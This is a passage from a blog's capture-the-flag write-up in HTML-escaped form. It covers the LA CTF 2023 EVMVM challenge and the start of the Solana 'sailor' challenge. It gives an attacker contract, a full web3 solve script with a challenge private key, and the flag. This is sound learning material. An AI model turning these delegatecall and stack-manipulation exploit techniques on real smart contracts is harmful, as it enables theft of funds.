&lt;p data-ke-size=&quot;size14&quot;&gt;gas:&amp;nbsp;amount&amp;nbsp;of&amp;nbsp;gas&amp;nbsp;to&amp;nbsp;send&amp;nbsp;to&amp;nbsp;the&amp;nbsp;sub&amp;nbsp;context&amp;nbsp;to&amp;nbsp;execute.&amp;nbsp;The&amp;nbsp;gas&amp;nbsp;that&amp;nbsp;is&amp;nbsp;not&amp;nbsp;used&amp;nbsp;by&amp;nbsp;the&amp;nbsp;sub&amp;nbsp;context&amp;nbsp;is&amp;nbsp;returned&amp;nbsp;to&amp;nbsp;this&amp;nbsp;one. &lt;br /&gt;address:&amp;nbsp;the&amp;nbsp;account&amp;nbsp;which&amp;nbsp;code&amp;nbsp;to&amp;nbsp;execute. &lt;br /&gt;argsOffset:&amp;nbsp;byte&amp;nbsp;offset&amp;nbsp;in&amp;nbsp;the&amp;nbsp;memory&amp;nbsp;in&amp;nbsp;bytes,&amp;nbsp;the&amp;nbsp;calldata&amp;nbsp;of&amp;nbsp;the&amp;nbsp;sub&amp;nbsp;context. &lt;br /&gt;argsSize:&amp;nbsp;byte&amp;nbsp;size&amp;nbsp;to&amp;nbsp;copy&amp;nbsp;(size&amp;nbsp;of&amp;nbsp;the&amp;nbsp;calldata). &lt;br /&gt;retOffset:&amp;nbsp;byte&amp;nbsp;offset&amp;nbsp;in&amp;nbsp;the&amp;nbsp;memory&amp;nbsp;in&amp;nbsp;bytes,&amp;nbsp;where&amp;nbsp;to&amp;nbsp;store&amp;nbsp;the&amp;nbsp;return&amp;nbsp;data&amp;nbsp;of&amp;nbsp;the&amp;nbsp;sub&amp;nbsp;context. &lt;br /&gt;retSize:&amp;nbsp;byte&amp;nbsp;size&amp;nbsp;to&amp;nbsp;copy&amp;nbsp;(size&amp;nbsp;of&amp;nbsp;the&amp;nbsp;return&amp;nbsp;data).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We construct &lt;span style=&quot;background-color: #f6e199;&quot;&gt;delegatecall(gas(), MYCONTRACT's addr, 0, 0, 0, 0)&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1676275603525&quot; class=&quot;python&quot; data-ke-language=&quot;sol&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;case 0xF4 { // DELEGATECALL
    spush(delegatecall(spop(), spop(), spop(), spop(), spop(), spop()))
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;As solidity calling convention, it follows &lt;b&gt;left to right&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;So in func(arg1(), arg2(), arg3()), arg1() , we can understand arg1() &amp;gt; arg2() &amp;gt; arg3() &amp;gt; func().&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/83406acd8a1e3f0978a52bb03cc894e4&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://gist.github.com/kangsangsoo/83406acd8a1e3f0978a52bb03cc894e4&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;But, in assembly {} &lt;b&gt;right to left.&lt;/b&gt; i.e.&amp;nbsp; arg3() &amp;gt; arg2() &amp;gt; arg1() &amp;gt; func(). .. why?&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://gist.github.com/kangsangsoo/d6002f0ed37f9158e97e577d08f0c89e&quot;&gt;https://gist.github.com/kangsangsoo/d6002f0ed37f9158e97e577d08f0c89e&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;I recommend remix debugger!&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Because it uses stack,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;(Top)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;0&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;0&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;0&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;0&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;addr&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;gas&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-------------------&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;(Bottom)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We have many many ether.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The environment of chall has chainid = 1.&amp;nbsp;I set base number 1 by using chainid().&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;There are arithmetic opcodes so we can make any number.&lt;/p&gt;
&lt;pre id=&quot;code_1676276786458&quot; class=&quot;python&quot; data-ke-language=&quot;sol&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;case 0x01 { // ADD
    spush(add(spop(), spop()))
}
case 0x02 { // MUL
    spush(mul(spop(), spop()))
}
case 0x03 { // SUB
    spush(sub(spop(), spop()))
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Or&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I think that author intended we use calldataload() because enterTheMetametaverse has &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;arg&lt;/span&gt; whose type is bytes32.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676276856820&quot; class=&quot;sol reasonml&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;function enterTheMetametaverse(bytes32 opcode, bytes32 arg) external {&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1676276824462&quot; class=&quot;sol isbl&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;case 0x35 { // CALLDATALOAD
    spush(calldataload(spop()))
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As mentioned above, calldata's structure looks like&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;func signature(4-byte) || arg1 || padding(if arg1's length is not 32-byte) || arg2 || pading || ...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.evm.codes/#35?fork=merge&quot;&gt;https://www.evm.codes/#35?fork=merge&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;calldataload(idx) returns calldata[idx:idx+32].&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If we call calldataload(36), output is &lt;span style=&quot;background-color: #ffc9af;&quot;&gt;arg&lt;/span&gt;&amp;nbsp;and it is pushed top of stack.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The size of storage slot is 32-byte.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;i.e. the size of stack item is 32-byte is equal arg's size.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If you do not understand following sequence, follow stey by step.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gas&amp;nbsp; &amp;nbsp;# push block.number to top of stack (big enough)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# to construct 36&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# 36 = 4 * 9&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# 36 = 2 * 2 * 3 * 3&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chainid()&amp;nbsp; &amp;nbsp;# 1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chainid()&amp;nbsp; &amp;nbsp;# 1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;add()&amp;nbsp; &amp;nbsp;# 1 + 1 =2&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dup()&amp;nbsp; &amp;nbsp;# 2 2&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chainid()&amp;nbsp; &amp;nbsp;# 1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chainid()&amp;nbsp; &amp;nbsp;# 1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chainid()&amp;nbsp; &amp;nbsp;# 1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;add()&amp;nbsp; &amp;nbsp;# 1 + 1= 2&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;add()&amp;nbsp; &amp;nbsp;# 1 + 2 = 3&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dup()&amp;nbsp; &amp;nbsp;# 3 3&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mul()&amp;nbsp; &amp;nbsp;# 3 * 3 = 9&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mul()&amp;nbsp; &amp;nbsp;# 2 * 9 = 18&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mul()&amp;nbsp; &amp;nbsp;# 2 * 18 = 36&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;calldataload()&amp;nbsp; &amp;nbsp;# calldataload(36)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# to construct 0, 0, 0, 0&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chainid()&amp;nbsp; &amp;nbsp;# 1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chainid()&amp;nbsp; &amp;nbsp;# 1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sub()&amp;nbsp; &amp;nbsp; # 1 - 1 = 0, top of stack is zero&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dup()&amp;nbsp; &amp;nbsp;# two zero&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dup()&amp;nbsp; &amp;nbsp;# three zero&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dup()&amp;nbsp; &amp;nbsp;# four zero&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# finish setting&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;delegatecall()&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Although return value of delegatecall() is 1, solved of Setup contract is still zero.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The problem is that the my_contract was created incorrectly.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Can you find my flaw?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;my_contract.sol&lt;/p&gt;
&lt;pre id=&quot;code_1676292629099&quot; class=&quot;sol routeros&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Attack {
    address public setup;

    constructor(address _setup) {
        setup = _setup;
    }

    fallback() external {
        setup.call(abi.encodeWithSignature(&quot;solve()&quot;));
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We enter in my_contract.sol by delegatecall() from EVMVM.sol&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Therefore, storage is not changed and 'setup' variable is not Setup.sol address.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It is storage slot 0 of EVMVM.sol.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;To avoid this problem, we hardcode setup address!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In my case, I use imuutable keyword. It is not stored storage.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;imuutable&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;a href=&quot;https://ethereum.stackexchange.com/questions/82240/what-is-the-immutable-keyword-in-solidity&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://ethereum.stackexchange.com/questions/82240/what-is-the-immutable-keyword-in-solidity&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;my_contract.sol&lt;/p&gt;
&lt;pre id=&quot;code_1676293462044&quot; class=&quot;sol routeros&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Attack {
    address immutable public setup;

    constructor(address _setup) {
        setup = _setup;
    }

    fallback() external {
        setup.call(abi.encodeWithSignature(&quot;solve()&quot;));
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;solve.py&lt;/p&gt;
&lt;pre id=&quot;code_1676294087154&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
w3 = Web3(Web3.HTTPProvider(&quot;https://evmvm.lac.tf/f9c5c1f5-da4c-4937-8c6f-866f6ca2bb8d&quot;))

#Check Connection
t=w3.isConnected()
print(t)

# Get env
prikey = '0x416f3a4385aa760711c66e58b5d1b107c5d32da84ee822822894db3338ce1fbb'
METAMETAVERSE= &quot;0x59862b91B86915F63875Cb678919a4ea0f300cDF&quot;
SETUP = &quot;0xCbC0618109baEFc534e440D016F004c8f6Dee401&quot;
MY_CONTRACT = &quot;&quot;

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address


# if you want to debug
def view_stack():
    stack_size = bytes_to_long(w3.eth.get_storage_at(METAMETAVERSE, 0))

    print(&quot;stack size: &quot; + hex(stack_size))
    for i in range(stack_size):
        res = w3.eth.get_storage_at(METAMETAVERSE, 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563 + i)
        print(hex(i) + &quot;: &quot; + str(res))

def deploy_my_contract():
    f = open(&quot;attack_abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()
    f = open(&quot;attack_bytecode&quot;, &quot;r&quot;); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(SETUP).buildTransaction(
        {
            &quot;chainId&quot;: w3.eth.chain_id,
            &quot;gasPrice&quot;: w3.eth.gas_price,
            &quot;from&quot;: Public_Address,
            &quot;nonce&quot;: w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print(&quot;Deploying Contract!&quot;)
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print(&quot;Waiting for transaction to finish...&quot;)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)
    return str(transaction_receipt.contractAddress)

def enterTheMetametaverse(EVMVM, opcode, arg):
    f = open('evmvm.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=EVMVM, abi=abi)
    func_call = contract.functions[&quot;enterTheMetametaverse&quot;](opcode, arg).buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id
    })

    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def push_chainid():
    enterTheMetametaverse(METAMETAVERSE, b&quot;\x00&quot;*31 + b&quot;\x46&quot;, b&quot;\x00&quot;*32)

def add_top():
    enterTheMetametaverse(METAMETAVERSE, b&quot;\x00&quot;*31 + b&quot;\x01&quot;, b&quot;\x00&quot;*32)

def sub_top():
    enterTheMetametaverse(METAMETAVERSE, b&quot;\x00&quot;*31 + b&quot;\x03&quot;, b&quot;\x00&quot;*32)

def dup_top():
    enterTheMetametaverse(METAMETAVERSE, b&quot;\x00&quot;*31 + b&quot;\x80&quot;, b&quot;\x00&quot;*32)

def mul_top():
    enterTheMetametaverse(METAMETAVERSE, b&quot;\x00&quot;*31 + b&quot;\x02&quot;, b&quot;\x00&quot;*32)

def push_gas():
    enterTheMetametaverse(METAMETAVERSE, b&quot;\x00&quot;*31 + b&quot;\x43&quot;, b&quot;\x00&quot;*32) # block number

def delegatecall():
    enterTheMetametaverse(METAMETAVERSE, b&quot;\x00&quot;*31 + b&quot;\xF4&quot;, b&quot;\x00&quot;*32)

def calldataload(arg):
    enterTheMetametaverse(METAMETAVERSE, b&quot;\x00&quot;*31 + b&quot;\x35&quot;, arg)

push_gas()

push_chainid()
push_chainid()
add_top()
dup_top()
push_chainid()
push_chainid()
push_chainid()
add_top()
add_top()
dup_top()
mul_top()
mul_top()
mul_top()

my_contract_addr = deploy_my_contract()
my_contract_addr = long_to_bytes(int(my_contract_addr, 16))
calldataload(my_contract_addr.rjust(32, b&quot;\x00&quot;))

push_chainid()
push_chainid()
sub_top()
dup_top()
dup_top()
dup_top()

view_stack() # debug
delegatecall()
view_stack() # debug&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;lactf{yul_hav3_a_bad_t1me_0n_th3_m3tam3tavers3}&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;sailor&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;320&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XSHxp/btrZehnKYg2/qltNZ8w8DlEY3xMNy8g4vk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XSHxp/btrZehnKYg2/qltNZ8w8DlEY3xMNy8g4vk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XSHxp/btrZehnKYg2/qltNZ8w8DlEY3xMNy8g4vk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXSHxp%2FbtrZehnKYg2%2FqltNZ8w8DlEY3xMNy8g4vk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;881&quot; height=&quot;320&quot; data-origin-width=&quot;881&quot; data-origin-height=&quot;320&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/uclaacm/lactf-archive/tree/master/2023/pwn/sailor&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/uclaacm/lactf-archive/tree/master/2023/pwn/sailor&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I found a way to get a flag with twice function call.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Recent&amp;nbsp;solana&amp;nbsp;challs&amp;nbsp;were&amp;nbsp;made&amp;nbsp;with&amp;nbsp;sol-ctf-framework.&amp;nbsp; &lt;br /&gt;I&amp;nbsp;had&amp;nbsp;never&amp;nbsp;solved&amp;nbsp;a&amp;nbsp;solana&amp;nbsp;chall&amp;nbsp;with&amp;nbsp;python&amp;nbsp;until&amp;nbsp;I&amp;nbsp;saw&amp;nbsp;this&amp;nbsp;problem.&amp;nbsp; &lt;br /&gt;So&amp;nbsp;I&amp;nbsp;did&amp;nbsp;not&amp;nbsp;know&amp;nbsp;how&amp;nbsp;to&amp;nbsp;call&amp;nbsp;twice.&amp;nbsp;:sad: &lt;br /&gt;&lt;br /&gt;Therefore&amp;nbsp;I&amp;nbsp;believed&amp;nbsp;that&amp;nbsp;author&amp;nbsp;intended&amp;nbsp;it&amp;nbsp;is&amp;nbsp;solved&amp;nbsp;by&amp;nbsp;only&amp;nbsp;one&amp;nbsp;function&amp;nbsp;call.&amp;nbsp;:laugh: &lt;br /&gt;As&amp;nbsp;a&amp;nbsp;reuslt,&amp;nbsp;I&amp;nbsp;did&amp;nbsp;not&amp;nbsp;find&amp;nbsp;solution... &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;. &lt;br /&gt;├──&amp;nbsp;chall &lt;br /&gt;│&amp;nbsp;&amp;nbsp;&amp;nbsp;├──&amp;nbsp;Cargo.lock &lt;br /&gt;│&amp;nbsp;&amp;nbsp;&amp;nbsp;├──&amp;nbsp;Cargo.toml &lt;br /&gt;│&amp;nbsp;&amp;nbsp;&amp;nbsp;└──&amp;nbsp;src &lt;br /&gt;│&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;└── lib.rs&lt;br /&gt;├──&amp;nbsp;server &lt;br /&gt;│&amp;nbsp;&amp;nbsp;&amp;nbsp;├──&amp;nbsp;Cargo.lock &lt;br /&gt;│&amp;nbsp;&amp;nbsp;&amp;nbsp;├──&amp;nbsp;Cargo.toml &lt;br /&gt;│&amp;nbsp;&amp;nbsp;&amp;nbsp;└──&amp;nbsp;src &lt;br /&gt;│&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;└──&amp;nbsp;main.rs &lt;br /&gt;├── solve.py&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;├──&amp;nbsp;Dockerfile&lt;br /&gt;└── sailor.so &lt;br /&gt;&lt;br /&gt;4&amp;nbsp;directories,&amp;nbsp;9&amp;nbsp;files&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sailor.so is compile from chall.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;main.rs&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It contains setting environment of ctf framework.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/otter-sec/sol-ctf-framework&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/otter-sec/sol-ctf-framework&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;What we have to is focusing on handle_connection().&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676297523798&quot; class=&quot;rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;fn handle_connection(socket: &amp;amp;mut TcpStream) -&amp;gt; Result&amp;lt;(), Box&amp;lt;dyn Error&amp;gt;&amp;gt; {
    let mut builder = ChallengeBuilder::try_from(socket.try_clone()?)?;

    let mut rng = StdRng::from_seed([42; 32]);

    // put program at a fixed pubkey to make anchor happy
    let prog = Keypair::generate(&amp;amp;mut rng);

    // load programs
    let solve_pubkey = builder.input_program()?;
    builder.builder.add_program(prog.pubkey(), &quot;sailor.so&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;First, it constructs ChalengeBuilder for challenge andit generate fixed program public key.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Then, it sets challenge environment by reading program.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;read&quot; here means reading the compiled .so file.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1676298146489&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    // make user
    let user = Keypair::new();
    let rich_boi = Keypair::new();
    let (vault, _) = Pubkey::find_program_address(&amp;amp;[b&quot;vault&quot;], &amp;amp;prog.pubkey());
    let (sailor_union, _) =
        Pubkey::find_program_address(&amp;amp;[b&quot;union&quot;, rich_boi.pubkey().as_ref()], &amp;amp;prog.pubkey());

    writeln!(socket, &quot;program: {}&quot;, prog.pubkey())?;
    writeln!(socket, &quot;user: {}&quot;, user.pubkey())?;
    writeln!(socket, &quot;vault: {}&quot;, vault)?;
